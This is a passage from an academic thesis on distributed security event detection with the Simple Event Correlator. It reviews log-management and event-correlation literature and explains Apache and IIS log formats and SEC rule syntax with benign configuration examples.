



A DYNAMICALLY CONFIGURABLE LOG-BASED  
DISTRIBUTED SECURITY EVENT DETECTION METHODOLOGY  
USING SIMPLE EVENT CORRELATOR

THESIS

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THESIS

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## *Abstract*

Log event correlation is an effective means of detecting system faults and security breaches encountered in information technology environments. Centralized, database-driven log event correlation is common, but suffers from flaws such as high network bandwidth utilization, significant requirements for system resources, and difficulty in detecting certain suspicious behaviors. This research presents a distributed event correlation system which performs security event detection, and compares it with a centralized alternative. The comparison measures the value in distributed event correlation by considering network bandwidth utilization, detection capability and database query efficiency, as well as through the implementation of remote configuration scripts and correlation of multiple log sources. These capabilities produce a configuration which allows a 99% reduction of network syslog traffic in the low-accountability case, and a significant decrease in database execution time through context-addition in the high-accountability case. In addition, the system detects every implemented malicious use case, with a low false positive rate.

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χάρις τῷ θεῷ ἐπὶ τῇ ἀνεκδιηγῇ αὐτοῦ δωρέα.

Justin Myers

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# A DYNAMICALLY CONFIGURABLE LOG-BASED DISTRIBUTED SECURITY EVENT DETECTION METHODOLOGY USING SIMPLE EVENT CORRELATOR

## I. Introduction

The detection of malicious behavior on a network is a broad and difficult problem. The threats from external hackers, insiders (intentional and unintentional) and malware are numerous and diverse. Technologies and methods exist to combat these threats, and they range from the inexpensive, easy to implement and turn-key to expensive, difficult and time-consuming. One particular technology which has proven to be an effective means of detecting attacks against organizational resources is the monitoring of system and application logs. Unfortunately, log monitoring activities are expensive and difficult, and many organizations fail to properly implement and properly resource Security Information and Event Management (SIEM) capabilities [32] [37]. Several reasons for this include the sheer volume of log data for collection and storage [28], the difficulty of conducting log analysis (including issues of log normalization and event correlation), the reporting of problems once they are found, and limited investigative resources [31] [32]. In light of these circumstances, there exists a need for logging solutions which gather and parse the volume of information efficiently, provide novel capability for detecting malicious behavior, and present alerts in such a way that they are accessible and relevant.

### *1.1 Problem Statement*

Tools exist for conducting SIEM activities at enterprise scale, such as Splunk [3] and LogSurfer [35]. However, many of the tools used to conduct SIEM activities are not well suited to today's enterprise environment. These SIEM processes are often centralized, database-driven solutions, requiring each log message to pass from the

log producer to the central log server through the network. The aggregated messages are then correlated at one time on the central log server.

In terms of an enterprise SIEM solution, this approach presents several challenges. First, the sending of all log messages over the network incurs a bandwidth performance cost, which increases significantly with each appliance, application server or workstation on the network. Second, a heavyweight database-driven solution consumes a significant amount of resources (processor time, memory, storage space) to be able to accomplish the event correlation. It may even do it in stages, or may require several physical machines to accomplish the task. Third, a relational database excels at describing relationships between data, but is awkward for detecting scenarios involving the computation of sliding time windows and aggregation of individual log elements. These situations are common in web server log analysis: for instance, one might want to know if a user accesses a resource at a certain frequency in a specific time frame.

These challenges usually produce one of two outcomes [28] [11]. First, the enterprise experiences the increased expense of building, using and maintaining such a system. Second, a management decides not to spend resources to collect and analyze logs, with the significant impact of missing a security incident or compromise. This scenario can lead to lost information on network performance or security incidents, along with their associated costs [11] [5].

## ***1.2 Assumptions and Limitations***

This research assumes that there is previously acquired knowledge about the value of information located on each log-producing server. This knowledge is not necessary for the research to be effective, but it is a prerequisite for the higher-level correlation activities.

The research is also limited in terms of the realism of the environment. While efforts were made to mimic the characteristics of a real environment, the experimental

environment was constrained in the number of systems, total volume of traffic and composition of that traffic.

### ***1.3 Research Goals***

This research presents a distributed log event correlation methodology which provides value over centralized alternatives, based on novel metrics for quantifying that value. In addition, this research aims to provide a configuration which can be customized remotely to the circumstances and logging requirements of individual log producers. The research will use as examples malicious behavior scenarios which relate to web server logs, but the goal is to develop a methodology which is applicable to logs from any log-producing system or application.

### ***1.4 Contributions***

This research contributes a quantitative analysis of the value inherent in distributed event correlation, as opposed to a centralized model. The nature of this value depends on the environment in which the techniques are being implemented. As such, it defines a continuum of accountability requirements. In a low accountability environment where not everything must be logged centrally (or at all), a distributed event correlation methodology offers the benefit of decreased network bandwidth use while still maintaining a robust event detection capability. In a high accountability environment where everything must be logged, a distributed event correlation methodology can add context to centralized correlation activities by injecting real-time synthetic events into the event stream. Furthermore, this research contributes the analysis and validation of a dynamically configurable log collection architecture. The ability to dynamically configure the log collection activities allows more flexibility in the detection configuration and contributes to overall ease of maintenance. Lastly, this research contributes scalability with regard to multiple log sources and formats for increased event detection capability.



## ***1.5 Thesis Overview***

This chapter describes the goals of this research and the circumstances which motivate the development of a distributed log event correlation methodology. Background literature in the areas of log management, event correlation and insider threat, as well as technologies being used to conduct the research are reviewed in Chapter 2. Next, Chapter 3 presents the development of the concepts, ideas and thought processes used in developing this research. Chapter 4 presents the experimental design and the methodology used for conducting analysis of that design. Chapter 5 describes the results of the experiment and provides an analysis of those results. Finally, Chapter 6 draws conclusions from the results of the research and recommends avenues for further research in this area.

## II. Literature Review

This chapter reviews current research in the areas of log analysis, event correlation, the Security Information and Event Management approach, and insider threat detection (Sections 2.2-2.5, respectively) to build a foundation for the research. In addition, to better support the methodology presented in Chapters 3 and 4, Sections 2.7 and 2.8 provide technical overviews of web server logfiles and the Simple Event Correlator.

### *2.1 Log Monitoring and Analysis*

As organizations embed information technology (IT) and computer networks into their core processes, network security is becoming more important to protect the organization against internal and external threats. As attackers become more skilled and motivated, organizations are seeing increasingly successful attacks on computing resources. A recent study from Symantec Corporation, a leading provider of security software, found that 75% of surveyed enterprises experienced cyber attacks in 2009, with average combined costs of \$2 million [9]. 42% of those organizations ranked cyber security as the top risk to their organization, ranking it higher than traditional crime, natural disasters and terrorism. Among measures recommended by the report for mitigating cyber risk in an organization, automating processes to streamline efficiency as well as monitoring and reporting on system status are featured [9], highlighting the importance of efficient log monitoring and analysis techniques as part of a cyber security posture. Another study done by the Verizon Corp Business Risk Team reported that in 2008, 66% of victims represented in their caseload had “sufficient evidence available within their logs to discover the breach had they been more diligent in analyzing such resources” [11]. In fact, only 6% of those surveyed discovered breaches through event monitoring or log analysis. This clearly shows that effective real-time analysis of logs has the potential to greatly increase an organization’s understanding of malicious activity which is occurring on the network. It also shows, however, that the potential is not at present being taken advantage of. A clear example of the risks involved with not using log monitoring practices is the 2009 Federal

Trade Commission (FTC) decision against Geeks.com [5] [32]. At issue in the ruling was the prolonged leakage of personally identifiable information, including credit card information, from Geeks.com servers. The FTC ruling identified the lack of effective monitoring as one of the factors which contributed to this leak [5]. Had Geeks.com implemented a log management strategy, they likely would have been able to detect the data leak early on and prevent further exploitation [32].

In the early days of network management, logs were used simply for diagnosing when an application or device stopped functioning on a network. They were used to figure out the internal state of those systems, and little else [28]. However, even as early as 1980, the value of logs (or audit trails) for security audits was recognized. In one particular report from that time, security audit trails were used to detect unauthorized access to files [4]. Due to the importance of understanding the activity on a system or network, the value of log management and analysis tools is increasingly being recognized. In addition to their value in diagnosing system faults and providing better awareness of network activity, log management techniques are being identified as being particularly valuable for thwarting malicious behavior in networks [32]. The complexity and maturity of techniques used for accomplishing this purpose are varied, and have been applied in several domains, including monitoring user behavior, forensic investigations, and regulatory compliance.

*2.1.1 Log Monitoring Trends.* The National Institute for Standards and Technology (NIST) Special Publication 800-92 provides recommendations for efficient and effective log management, recognizing that “routine log analysis is beneficial for identifying security incidents, policy violations, fraudulent activity, and operational problems” [21]. These recommendations include establishing log management policies and procedures, prioritizing log management, creating and maintaining a log management infrastructure, and generally providing support for log management staff and processes.

In spite of these recommendations and the potential significance of the data in system, application and device logs solutions which monitor these types of information tend to be implemented in a very basic fashion, if at all. In the Verizon Business report [11], the researchers took a closer look at how event monitoring and log analysis solutions are being implemented in organizations. Figure 2.1 shows their findings, which were collected from over 150 organizations of varying sizes in a wide variety of industries including Retail, Financial Services, Food and Beverage and others [11]. These findings show that most organizations rely on basic system and device logs, with a suprisingly low number using solutions such as intrusion detection systems and automated log analysis. This means that while organizations are largely collecting the data, the analysis of that data is still very immature, operationally speaking.




Figure 2.1: Verizon Data Breach Report: Detective Controls by percent of breach victims. [11]

The 2008 CSI Computer Crime and Security Survey produced similar results, showing that failure in the area of system and transaction log monitoring was a significant factor in the success of attacks. The survey also showed that security log management is far from widely implemented, with 51% of respondents reporting that they have such a system in place [26].

A closer look at the way log management is being done sheds more light on the situation. The SANS Annual 2009 Log Management Survey focuses exclusively on the topic of log management, and provides finer-grained detail on how log management activities are being done in organizations [32]. Their data, more current than that used by the CSI survey by about a year, shows that 87% of respondents collect logs in some fashion, with an additional 12% planning to implement log collection at some point in the future. The same survey conducted in 2007 showed that 44% of respondents did not collect log data - a significant increase which indicates the increasing awareness in organizations about the importance of data in log files [32]. The reasons for collecting log data were weighted toward security-based issues, a move away from the traditional use of log data for diagnosing system faults. The survey respondents chose as the top three reasons, respectively, “Tracking suspicious behavior and user activity monitoring,” “Forensic analysis and correlation,” and “Day-to-day IT operations/process control compliance” [32]. This shows that while logs are still being used for their traditional purpose, their value in security-oriented activities is being increasingly recognized and exploited. Another area of interest addressed by this survey is the type of applications and devices from which organizations are collecting logs. The most common source of log data is the operating system; 92% of respondents collected operating system logs. This was followed by switch, router and firewall data at 90% [32]. Other significant sources of logs included databases and virtual machines, while log collection from mainframes is in decline. There did not appear to be any data on collection from application logs such as web servers.

Another area of emerging importance in log management is normalization. Nearly every application and appliance out there has the capability to generate log

messages, and those log messages are in a wide variety of formats. This presents a difficulty for log analysis, since the analysis engine must be configured to understand logs from every expected source. Since this can be an expensive undertaking for an organization with logs in many different formats, normalization is an attractive alternative. Log normalization can be succinctly defined as converting each log data field to a particular data representation and categorizing the resulting fields consistently [21]. This activity significantly aids log analysis activities, but incurs a high performance cost. Another way to achieve this result without the performance overhead is through the use of standard data representations by the individual log producers themselves, so that the log messages are initially produced in normalized form. This is an intended result of MITRE's Common Event Expression (CEE) project [7]. This approach naturally depends on vendor adoption, but shows promise in mitigating the issues associated with differing log formats.

*2.1.2 Related Research.* The focus of this research is on web server application logs, since they contain relevant data on the use of web resources from inside and outside an organization. Two of the surveys mentioned in this section speak directly to the importance of web servers as an area of concern or avenue for attack. In the Verizon Business Data Breach survey, six out of the ten types of hacking used in their data set are primarily or commonly web-application hacks. Most significantly, SQL injection was second in prevalence and first in number of records compromised, involved in the compromise of 79% of the 285 million records [11]. In addition, the Verizon survey also noted that web applications were the second most common attack vector (21 of 57 breaches) and again were involved in the compromise of 79% of records in their data set.

The CSI Computer Crime and Security Survey asked what respondents thought the most critical security issues their organizations would face over the next two years. Among a wide variety of responses, concerns about web application security appeared frequently [26]. While the CSI survey showed web application misuse and website

defacement comprising only 16% of incidents, this is an area in which continued vigilance seems to be valuable to survey respondents.

## 2.2 *Event Correlation*

Event correlation is an increasingly important and accepted tool in managing complexity in enterprise networks today [18]. It has also been recognized as being a powerful tool for understanding real-time events in the military battlespace [20]. One good definition of event correlation is those activities which analyze individual pieces of information in aggregate to diagnose the root causes of problems on the network and filter the alarms generated as a result of those problems into a single composite event [16]. In any large scale network, event and alarm-producing systems are distributed across the entire network, comprising some (and possibly all) of the computing and infrastructure systems in the network. In common configurations this virtually guarantees a volume of data, in the form of log messages, which is infeasible for a human operator to manage efficiently [36] [21]. In the early days of fault management, alarms were sent over the network using a facility such as *syslog* to a central log server, which most likely simply stored the events, allowing a human analyst to examine them after the fact. *Syslog* has some filtering capabilities and is often paired with a utility to do further regular expression matching, but both techniques are limited by an inability to capture time and state, and are therefore unable to detect potentially interesting event patterns [12]. The potential consequences of this situation are significant - the analyst might fail to discern the actual internal state of the system which failed or was compromised [19]. Furthermore, time and volume-based events might go unnoticed or get lost in the large volume of events. Event correlation activities allow this volume of messages to be reduced to a set of alarms that is manageable for an analyst. While these techniques were initially applied to network fault management, event correlation activities have begun to be recognized as useful for security management activities, among other applications [36] [18]. The need for more robust, always-on event correlation solutions for both fault and intrusion detection has been

met in various ways. While *syslog* by itself lacks event correlation capabilities and is therefore best suited for a centralized architecture, event correlation solutions vary between centralized and distributed architectures, with some combining aspects from both and some working well in either architecture. This section explores various applications of event correlation techniques in a variety of architectures, and the nature of their benefit to network and security management.

*2.2.1 Usage Trends.* Several tools, described below, perform centralized event correlation. These tools can be further broken down by the class of algorithm used to conduct the correlation activities. The first is a simple rule-based algorithm, which is employed by the Zurich Correlation Engine (ZCE), which accepts input events as name value pairs and compares them against simple rules in a hash table [15]. Later adaptations of ZCE were upgraded to allow for more complex event processing. An alternative approach is the use of coding techniques [22] [38], which defines a code as a series of “problem” events which cause a “symptom” event, and “decodes” the set of observed symptom events to determine what the underlying problem or problems must have been. Lastly, centralized event correlation can be done using techniques from the domain of artificial intelligence, including the use of belief networks and probabilistic reasoning. An example application of these techniques to event correlation is XUNET [17], which uses probabilistic networks and a non-deterministic network model to automate fault diagnosis and identify issues in spite of missing or delayed information.

Due to shortcomings in centralized architectures, several event correlation tools distribute the task over a number of computers in the network. The actual architecture varies significantly from implementation to implementation, but the common factor is that event correlation activities are primarily done on multiple computers, rather than on one central server. A good example of the distributed approach is presented by Tai, et. al. [34], where a subscription scheme is used to arrange independent Fault Management Servers (FMS) into a hierarchical model where the FMS further up the hierarchy subscribes to all subsidiary FMS alerts, and includes those alerts



in its correlation activities. While this scheme has each FMS doing similar activities, other schemes such as the Global Real-time Advanced Correlation Environment (GRACE) [18] distribute distinct correlation components according to a pre-defined model. In GRACE, there are three components: Event Correlation, Knowledge Management, Event Explanation, as well as a Supervisor component. Each is distributed across a potentially global network, using XML to facilitate communication and data flow between components. Another approach, taken by the Madeira project [39], incorporates peer-to-peer technologies into a system which is distributed and self managing. Madeira is interesting because it combines this distributed idea of self-management with more centralized correlation ideas at the level of network domains or geographical locations [34]. This combination of centralized and distributed, usually resulting in a distributed network of smaller centralized event correlation nodes, is quite common. Depending on the configuration, these combined implementations share positive and negative aspects of both major architectures. Another example of this combined centralized-distributed model is the Distributed Event Correlation System (DECS), which is build of many Domain Managers (DM), each of which does centralized event correlation on a single domain arbitrarily partitioned off from the global networked system domain [38]. Similar to the FMS solution described above, DECS allows a subscription-based system to allow communication - but instead of arranging DMs hierarchically, DECS clients subscribe to DMs to receive notifications of particular problems. Thus this distributed system is organized by problem type, rather than by geographical or network proximity. Finally, one research effort presents the idea of a Distributed Security Operations Center (DSOC), which collects logs from any log-producing device and distributes the event correlation activities over a number of clusters, which may be connected physically or by wireless links [29]. The actual event correlation and intrusion detection activities, as organized by the DSOC, are essentially a context-aware signature-based scheme.

Some event correlation tools are general enough to be considered architecture agnostic. Examples of these architecture agnostic tools include the Syslog Heuristic

Analysis and Response Program (SHARP), which extends an existing syslog infrastructure with event correlation capabilities [12], and the Simple Event Correlator (SEC), an open source, Perl-based tool that is lightweight enough to run in a distributed environment and robust enough to do centralized correlation as well [36]. Incidentally, SEC is the event correlation engine which was chosen for this research, and will be treated in more detail in Section 2.7.

*2.2.2 Comparing Centralized and Distributed Event Correlation.* There are positive and negative aspects to both centralized and distributed event correlation. In a centralized architecture, the event-producing computers send the events over the network to a central server, where correlation activities are performed. In large networks, this configuration presents a likely risk that the event correlation engines will be flooded by events - even when the centralized activity is distributed across network domains [34]. In addition, a centralized architecture requires that any events which are to be included in correlation activities be sent over the network to the correlation server. This intuitively incurs a network performance cost, which increases significantly with each event-producing computer on the network. Challenges are also presented by the central correlation server itself. Since all the correlation activities must be performed over all events in one location, significant resources (processor time, memory, storage space) are required to store the information and perform the event correlation. A database-driven centralized solution is also likely unable to do real-time analysis, since all facets of the event to be detected must be present before database queries are run. Thus this kind of approach is forensic in nature, while distributed solutions are better suited to real-time analysis.

Centralized event correlation is not without its advantages over distributed or hybrid approaches. The most significant drawback to a distributed approach is the up-front configuration effort that is needed to make certain distributed correlation approaches operational [34]. This is especially true for hybrid approaches, since “pure” distributed systems often have a self-organizing mechanism which automates some

of the configuration activities. In addition, should an adversary target the event correlation infrastructure in a network, a centralized architecture provides a smaller number of computers, which makes it potentially easier to defend. The log producers, however, are equally numerous in either architecture, so their vulnerability would not depend as much on the event correlation architecture.

In the final analysis, the choice of event correlation tools and specific needs of the operational environment will make these advantages and disadvantages more or less significant.

### ***2.3 Security Information and Event Management***

Security Information and Event Management (SIEM) systems are an emerging class of tool which combine the functional areas of log consolidation, threat correlation, incident management, and reporting into one solution [33]. A primary focus is on automating correlation techniques to increase the effectiveness at identifying incidents in progress. The growing popularity of SIEM systems is part of an anticipated logical progression in industry, and in fact the SANS Log Management Survey indicated that 32% of respondents are actively incorporating their log management activities with an SIEM, while 26% intend to do so in the future [32].

The goals of a SIEM tool are similar to those of event correlation - to automate analysis of large quantities of information and reduce the overall number of events to a manageable level [33]. A particularly significant benefit of an SIEM tool is the ability to see events from a whole-network perspective. For instance, a single attack may generate logs indicating a port scan at the firewall, a signature match at an IDS, and a suspicious series of web server logs. At each stage, the SIEM tool is “connecting the dots,” and categorizing them as elements of the same alert, increasing the severity level at each stage [33].

As SIEM tools are increasingly deployed, the concepts of log management and event correlation will become even more important, as an SIEM system must have the

best data from log-producers across the network, as well as efficient event correlation algorithms for effective detection of incidents as they are occurring. The areas of management and reporting, while not discussed in this chapter, will also become increasingly important. The value of accurate detection of incidents is diminished if those incidents are not reported quickly, accurately and concisely to the right people, so that the right action may be taken in response to the incident.

## ***2.4 Insider Threat Detection***

Insider threat detection is a difficult domain to effectively characterize, due to the lack of a consistent definition of an insider and a reluctance on the part of industry to release data on real insider damage [13]. Several definitions of an insider have been proposed, each capturing a different aspect of the highly diverse domain. For example, Bishop [13] defines an insider as “a trusted entity that is given the power to violate one or more rules in a given security policy”: in this case “the insider threat occurs when a trusted entity abuses that power.” Another definition characterizes an insider more generally, as any entity which possesses knowledge not available to the general public [25]. Other definitions separate malicious insiders into two classes: traitors and masqueraders, the former being those insiders who intentionally violate trust placed in them, and the latter being an attacker who steals a legitimate insider’s identity and uses it to carry out the attack [30].

*2.4.1 Insider Threat Trends.* The threat from malicious insiders is an increasingly significant source of financial and data loss for enterprises. The 2010 Cyber Security Watch Survey from CSO magazine, the U.S. Secret Service, Software Engineering Institute Computer Emergency Response Team (CERT) Program at Carnegie Mellon University and Deloitte provides recent evidence of this trend. The survey indicates that 51% of respondents who experienced a cyber security event were victims of an insider attack, despite the fact that most of the top 15 policies and procedures in the survey were aimed at insider attack prevention [6]. In addition, 67% of re-

spondents agreed that insider incidents were more costly than external breaches. The insider threat was at one time much more common than the threat from external forces, since the major barrier to entry was physical access to a machine [4]. However, with the advent of the Internet and a complex environment of network devices and services, external penetration overall has become more common than exploitation by insiders. Insider attack, considered equally with other types of attacks, is still a common type of attack. Insider attacks (malicious or otherwise) briefly overtook virus and worm attacks in 2007 as the most commonly reported security incidents in the CSI/FBI Computer Crime and Security Survey, and remained the second most common (44%) in subsequent surveys [26].

*2.4.2 Insider Threat Scenarios as Use Cases.* The use of system and application logs for insider threat detection is a natural pairing, since they provide insight into the status of individual systems which must be considered in certain insider threat scenarios. As early as 1980, the value of system audit logs for detecting insiders was recognized. In a report on computer monitoring and surveillance, the James Anderson company used simple definitions of abnormal user behavior to detect insider attacks using system audit logs [4]. In addition, a study from the Carnegie Mellon CERT determined that a majority of insider attacks were detected using system logs; this included remote access logs, file access logs, database logs, application logs, and e-mail logs [14]. In addition, the same study includes “log, monitor, and audit employee on-line actions” as a recommended practice for preventing insider attacks, arguing that those activities “can lead to early discovery and investigation of suspicious insider actions” [14]. Furthermore, research is now only beginning to emerge which addresses the insider threat in a real-time fashion - the majority of techniques are driven by a forensic analysis approach after an attack. Consequently, there is a need for network and log monitoring techniques which provide real-time insight into user behaviors, and allow the prevention, detection and deterrence of insider attacks [30].

## 2.5 Web Server Logfile Overview

This research uses web server log files as the basic input into the event correlation system. While log files from any log-producing system or application can be and are used in event correlation activities, this research will show the effectiveness of the distributed event correlation technique within the limited scope of web server logs, and extrapolate the results to logs in other formats and from other systems and applications.

At the most basic level, a log file is composed of individual log entries, which are composed of (or, in the case of Windows, Snort or other logs, may be converted to) a single line of text. Apache [1] and Microsoft's Internet Information Services (IIS) [2], the two most popular web server applications, both store their logfiles in plain-text format, with each log entry contained in a single line of text. In addition, both applications generate two types of log files - the access log and the error log. Both Apache and IIS store the same types of information in each log file. The access log contains details about each request for data to be served from the web server. The error log contains information about errors that were encountered by the web server application itself or by helper applications connected to the web server. The remainder of this section describes the structure, configuration and content of the access and error log files in Apache and IIS web servers.

*2.5.1 Apache log files.* The Apache web server is a widely used, open source HTTP web server application available as a free download from the Apache Software Foundation web site [1]. This section applies to Apache version 2.2, installed on an Ubuntu Linux operating system. In a default installation, Apache stores both the access and error logs in */var/log/apache2* as *access.log* and *error.log*. This location and naming convention is specified in Apache's main configuration file, which is located by default at */etc/apache2/apache2.conf*.

*2.5.1.1 Apache Access Log.* One of the functions of the configuration file located by default at `/etc/apache2/apache2.conf` is to define the format for entries in the access log using a standard set of format strings. Figure 2.2 shows a sample access log configuration that might be found in Apache’s main configuration file. This sample configuration uses a log format known as Common Log Format (CLF), a standardized format for log entries from web servers. A sample log entry in CLF format that might appear in the access log is shown in Figure 2.3.

```
LogFormat "%h %l %u %t \"%r\" %>s %b " common
CustomLog logs/access_log common
```

Figure 2.2: Sample log configuration in Apache 2. [1]

```
127.0.0.1 - frank [10/Oct/2000:13:55:36 -0700] "GET /apache_pb.gif
HTTP/1.0" 200 2326
```

Figure 2.3: Sample CLF access log entry in Apache 2. [1]

The number of available format strings for Apache access logs leads to high configurability. Table A.1 shows the defined format strings in Apache and the data they represent. [Table A.1 should be turned into an appendix when everything’s put together] As evidenced in Figure 2.2 and Figure 2.3, normal characters may be escaped to be included in the log entry along with automatically generated log data. In the example shown, double quotes are shown escaped around the `%r` format string, so that the HTTP request text is surrounded by double quotes when written to the access log. Apache’s configuration options allow the access log to capture a wide array of information about individual requests to the web server, while also providing the capability for formatting the log entries in a fashion appropriate for subsequent event correlation activities.

*2.5.1.2 Apache Error Log.* The Apache error log is the record of diagnostic and error messages encountered by Apache in the process of serving web requests. These messages may originate from the Apache application itself, or from

any Common Gateway Interface (CGI) scripts which report their errors by printing them to *stderr* [1]. The error log location and customization options are specified in Apache’s main configuration file. However, the error log is significantly less customizable than the access log. There are two primary means of customization, namely the use of the **ErrorLog** and **LogLevel** directives in *apache.conf*.

The **ErrorLog** directive is used to direct the error-log entries to a user-specified directory or process. The destination of these log entries can be a plain text file (the default), a command that will process the log, or a syslog facility to transmit the log entry over the network.

The **LogLevel** directive is used to specify the verbosity of the error log based on perceived severity of the messages. Table 2.1 gives the log levels which are available in Apache, along with an example of a message that would be categorized at that level.

Table 2.1: Available Error Log Levels in Apache 2 with Examples. [1]

Level	Description	Example
emerg	Emergencies - system is unusable.	“Child cannot open lock file. Exiting”
alert	Action must be taken immediately.	“getpwuid: couldn’t determine user name from uid”
crit	Critical Conditions.	“socket: Failed to get a socket, exiting child”
error	Error conditions.	“Premature end of script headers”
warn	Warning conditions.	“child process 1234 did not exit, sending another SIGHUP”
notice	Normal but significant condition.	“httpd: caught SIGBUS, attempting to dump core in ...”
info	Informational.	“Server seems busy ...”
debug	Debug-level messages.	“Opening config file ...”

The Apache error log is without doubt the most important log file for the administrator of the web server, since it contains important information on the current and past state of the web server as well as information on any problems which may have arisen. However, for event correlation activities it is somewhat less significant



than the access log, since the format is less rigid and the potential messages not as well documented. Still, the use of the error log might provide useful clues about specific anticipated malicious behaviors which would not necessarily be present in the access log.

*2.5.2 IIS log files.* Microsoft’s Internet Information Services (IIS) is a popular commercial web server which is included as part of a Windows Server operating system install [2]. As such, it is only supported in the Windows environment. This section applies to IIS 6.0 as a component of a Windows Server 2003 installation. In addition to the access and error log, IIS 6.0 also generates a cluster log and a shutdown log. The cluster log stores messages that are related to high availability configuration options in IIS 6.0 [2], while the shutdown log stores system information relating to the last shutdown. This document does not address these log files as their relevance to event correlation activities is marginal, and depends highly on the local configuration of IIS.

*2.5.2.1 IIS Access Log.* The access log in IIS captures the same sort of information as the Apache access log, although fewer log elements are available. Unlike Apache, the logging characteristics of an IIS web server are configured in a graphical menu. Figure A.1 shows the property dialog used for configuring logging options, accessible by opening the Application Server Management Console, navigating to “IIS Manager – > Local Computer – > Web Sites” and selecting properties from the right-click menu on the default web site. The actual elements to be logged in the IIS access log are selected in the dialog shown in Figure A.2, which can be accessed by clicking the “Properties” button in the logging section at the bottom of the dialog in Figure A.1. It is important to note that the ability to select individual log elements is only present when “W3C Extended Log Format” is selected as the logging format. If it is selected, the advanced tab with log elements is shown; otherwise it is absent. Table 2.2 shows the log file formats which are available to be selected in the property

dialog, and Table A.2 shows the individual available log elements and descriptions of each.

Table 2.2: Available Log File Formats in IIS 6.0. [2]

Log File Format	Description
W3C Extended Log File Format	Text-based, customizable format for a single site. This is the default format.
W3C Centralized Logging	All data from all Web sites is recorded in a single log file in the W3C log file format.
NCSA Common Log File Format	Text-based, fixed format for a single site.
IIS Log File Format	Text-based, fixed format for a single site.
ODBC Logging	Fixed format for a single site. Data is recorded in an ODBC-compliant database.
Centralized Binary Logging	Binary-based, unformatted data that is not customizable. Data is recorded from multiple Web sites and sent to a single log file. To interpret the data, you need a special parser.
HTTP.sys Error Log Files	Fixed format for HTTP.sys-generated errors.

*2.5.2.2 IIS Error Log.* The IIS error log is very similar in nature to the error log in Apache. It serves as a single point of reference for all error logs generated by IIS and the Dynamic Linked Libraries (DLLs) that support it. Unfortunately, there is no comprehensive reference as to the format or possible content of log entries in this file. This means that the IIS error log is not especially useful for general event correlation activities, but may be of some value when looking for a specific anticipated error.

## 2.6 Simple Event Correlator

The Simple Event Correlator (SEC) is a lightweight, open-source, and platform-independent tool for rule-based event correlation [36]. SEC is used worldwide by organizations in industries such as banking, telecommunications, retail, and software development, with cited benefits including low cost, flexibility, efficiency and

ease of configuration [36]. SEC is written in Perl, has a very small footprint (less than 250 KB) and utilizes tools and concepts which are familiar to system and network administrators such as regular expressions, file streams, and named pipes. It is available for free download from <http://kodu.neti.ee/risto/sec/> or <http://simple-evcorr.sourceforge.net/>.

Configuration files in SEC are plain text files, created and modified with any text editor. These configuration files may contain one or more rules, which are evaluated in the order in which they appear in the file. These rules may be one of nine supported rule types. While each rule type has a few unique parameters, they all follow the same basic format. Figure 2.4 shows an example ruleset which detects a “file system full” error and suppress further messages for 60 minutes, while Table 2.3 describes all available SEC rule types.

```
#Example:
# Apr 13 15:08:52 host4.example.org ufs: [ID 845546 \
#      kern.notice] NOTICE: alloc: /mount/sd0f: file system full
type=SingleWithSuppress
desc=Full filesystem $2 on $1
ptype=regex
pattern=([\w._-]+) ufs: \[.* NOTICE: alloc: ([\w._-]+): file system full
action= write - filesystem $2 on host $1 full
window=3600
```

Figure 2.4: Example SEC Ruleset. [27]

The example rule in Figure 2.4 includes several elements which are common to any SEC rule. The **type** keyword identifies the rule type, which defines how SEC will interpret the other keywords. In this example, the type is `SingleWithSuppress`. The **desc** keyword is a name for the event which will be used internally to group similar events together. This description is generated with the temporary variables `$1` and `$2`, which correspond to the host and filesystem in the message, respectively. In this example, additional messages regarding `/mount/sd0f` on `host4.example.org` will be suppressed, but an error concerning another filesystem will be displayed, since a different description would be generated for that event. The **ptype** keyword indicates the type of pattern which will be evaluated; the most common value is *regex*, signi-

Table 2.3: Supported Rule Types in SEC. [36]

Type Name	Description
Single	Match input event and execute an action list.
SingleWithScript	Match input event and execute an action list, if an external script or program (e.g., query to a network topology database) returns certain exit value. The external script or program will be supplied with the names of existing contexts through its standard input.
SingleWithSuppress	Match input event and execute an action list, but ignore following matching events for the next $t$ seconds.
Pair	Match input event, execute an action list immediately, and during the next $t$ seconds ignore following matching events until some other input event arrives. On the arrival of the second event execute another action list.
PairWithWindow	Match input event and wait for $t$ seconds for other input event to arrive. If that event is not observed within the given time window, execute an action list. If the event arrives on time, execute another action list.
SingleWithThreshold	Count matching input events in the window of $t$ seconds and if a given threshold $n$ is exceeded, execute an action list. The window is sliding.
SingleWith2Thresholds	Count matching input events during $t$ seconds and if a given threshold $n$ is exceeded, execute an action list. The counting continues after the execution - when no more than $n$ events have been observed during the last $t$ seconds, another action list will be executed. Both event correlation windows are sliding.
Suppress	Suppress matching input event.
Calendar	Execute an action list at specific times.

fying a Perl-compatible regular expression. The **pattern** keyword defines a pattern in the format specified in the **p<sub>type</sub>** keyword. Enclosing part of the pattern in parentheses stores that matched section of the message in a temporary variable, starting with \$1 and counting up. The **action** keyword defines the action list to be executed should the pattern and contexts match. There are a wide variety of possible actions that can be taken here, including writing to a file or named pipe, creating and deleting contexts (a flow control and data storage mechanism), and generating synthetic

events [27]. Finally, the **window** keyword defines the length of time over which the rule will suppress further matching messages with the same description.

In addition to these rule definitions, SEC is capable (on a UNIX or Linux system) of being configured and debugged on the fly through the use of operating system signals. Table 2.4 shows the signals to which SEC is configured to respond and the actions taken as a result.

Table 2.4: Supported Signals and Actions in SEC. [36]

Signal	Action
SIGHUP	SEC will reopen its log and input files, reload its configuration, and reset internal lists that contain correlation information. SEC will also send the SIGTERM signal to its child processes
SIGABRT	SEC will reopen its log and input files, and load its configuration from rule files which have been modified or created after the previous configuration load. SEC will also cancel event correlation operations started from rule files that have been modified or removed after the previous configuration load. Other operations and other event correlation entities (contexts, variables, child processes, etc.) will remain intact. On some systems SIGIOT is used in place of SIGABRT
SIGUSR1	Some information about the current state of SEC (content of internal lists, rule usage statistics, etc.) will be written to the SEC dumpfile (/tmp/sec.dump by default)
SIGUSR2	SEC will reopen its logfile (useful for logfile rotation)
SIGTERM	SEC will terminate gracefully (all SEC child processes will receive SIGTERM)

Two more concepts involved with using SEC warrant further discussion. The first is the concept of synthetic events. Speaking purely from an SEC internals perspective, a synthetic event is generated by the **event** action, and is a freeform string of text which gets inserted into the stream of new events being processed by SEC. This allows certain multi-step behaviors which would be difficult or impossible otherwise. In this research, the phrase “synthetic event” has been overloaded to include synthetic log messages sent out over Syslog, but the central meaning of the term remains unchanged. The second SEC concept is the context. An SEC context can be

